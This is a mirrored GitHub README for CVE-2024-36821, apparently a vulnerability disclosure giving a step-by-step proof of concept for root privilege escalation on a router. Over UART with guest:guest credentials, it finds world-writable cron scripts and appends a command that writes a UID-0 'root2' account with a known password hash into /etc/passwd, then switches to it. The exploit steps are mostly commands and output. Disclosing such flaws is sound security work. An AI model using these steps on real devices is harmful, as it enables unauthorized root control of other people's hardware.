Giter Club home page Giter Club logo

cve-2024-36821's Introduction

CVE-2024-36821

The public reference that contains the minimum require information for the vulnerability covered by CVE-2024-36821

The original video with PoC you may find on the video -> https://www.youtube.com/watch?v=6vHno0ik7JY

The PoC:

  1. Connect to the router witnin UART conenction

  2. Using guest:guest credentials, log into the system

  3. Using find / -perm -777 -type f 2>/dev/null command, find files with read-write-execute permissions:

    1. /tmp/cron/cron.daily/sysinfo_cleanup.sh
    2. /tmp/cron/cron.daily/devicedb_backup_daily.sh
    3. /tmp/cron/cron.hourly/sysinfo_cleanup.sh
    4. /tmp/cron/cron.every5minute/sysinfo_cleanup.sh
    5. /tmp/cron/cron.everyminute/conntrack_collector.sh
    
    Screenshot 2024-06-10 at 20 00 50
  4. Check the owner by ls -al /tmp/cron/cron.everyminute/conntrack_collector.sh command

  5. Generate the password by openssl passwd Abracadabra command

  6. Edit /tmp/cron/cron.everyminute/conntrack_collector.sh, adding to the end the new generated password:

    echo "root2:UlPYin76ss0w2:0:0::/:/bin/sh" >> /etc/passwd
    
    Screenshot 2024-06-10 at 20 05 05
  7. Wait for a minute

  8. Switch user into root2 by the next command

    / $ su root2
    Password: Abracadabra
    ~ #
    

cve-2024-36821's People

Contributors

ivanglinkin avatar

Stargazers

 avatar  avatar

Watchers

 avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.